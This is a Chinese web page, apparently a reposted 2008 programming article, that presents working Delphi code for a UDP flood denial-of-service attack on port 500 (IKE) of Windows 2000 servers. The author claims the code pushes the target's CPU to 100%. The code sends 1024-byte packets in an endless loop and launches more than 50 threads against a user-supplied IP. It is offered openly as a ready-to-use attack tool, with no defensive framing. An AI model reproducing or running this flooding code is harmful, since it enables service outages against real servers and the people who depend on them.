手机站
网通分站
电信主站
密 码:
用户名:
当前位置 : 主页>程序设计>delphi>列表

udp 500 D.O.S攻击

来源:互联网 作者:西部数码 时间:2008-04-09
西部数码-全国虚拟主机10强!40余项虚拟主机管理功能,全国领先!双线多线虚拟主机南北访问畅通无阻!免费赠送企业邮局,.CN域名,自助建站480元起,免费试用7天,满意再付款! P4主机租用799元/月.月付免压金!

前些日子,看见有文章说win2000服务器的500端口对flood攻击防御不是很好,我测试了一下,发现很有效果,对win2000服务器的udp500发送大量包的时候,win2000服务器的cpu率一下子达到了100%,而且反应立刻迟钝下来.

程序如下:

线程程序://线程的执行代码,创建线程请用菜单new一个TheadObject

uses winsock;

procedure udpdos.Execute;
var
wsa:TWSAData;
s: TSocket;
sockin: TSockAddrIn;
buf:array[0..1023] of byte;
i: integer;
DIP:string;
begin
{ Place thread code here }
//win2000下利用ike(udp 500)的DOS攻击
//by 杨顺
FreeOnTerminate := true;

//destIP是主Form里面上,就是要攻击的对象,在主Form里面申明一个这样的变量就可以了
DIP := DestIP;

//填充buf
for i := 0 to 1023 do
buf[i] := 97;

//初始化socket2
WSAStartup($101,wsa);

//创建udp socket
s := socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
sockin.sin_family := AF_INET;
sockin.sin_port := htons(IKE);
sockin.sin_addr.S_addr := inet_addr(pchar(DIP));
while true do
begin
if self.Terminated then
break;

//发送数据报
sendto(s,buf,1024,0,sockin,sizeof(sockin));
end;
closesocket(s);
WSACleanup;

end;

主form里面,调用

for i := 0 to 50 do
begin
udpdos.Create(false); //创建50多个线程,进行攻击
end;

顺便提一下,坚持用户输入的ip是否合法,一句话就可以了

uses winsock

if inet_addr(pchar(DestIP)) = inaddr_none then
begin
showmessage(''''输入的IP地址错误'''');
exit;
end;

文章整理:西部数码--专业提供域名注册虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!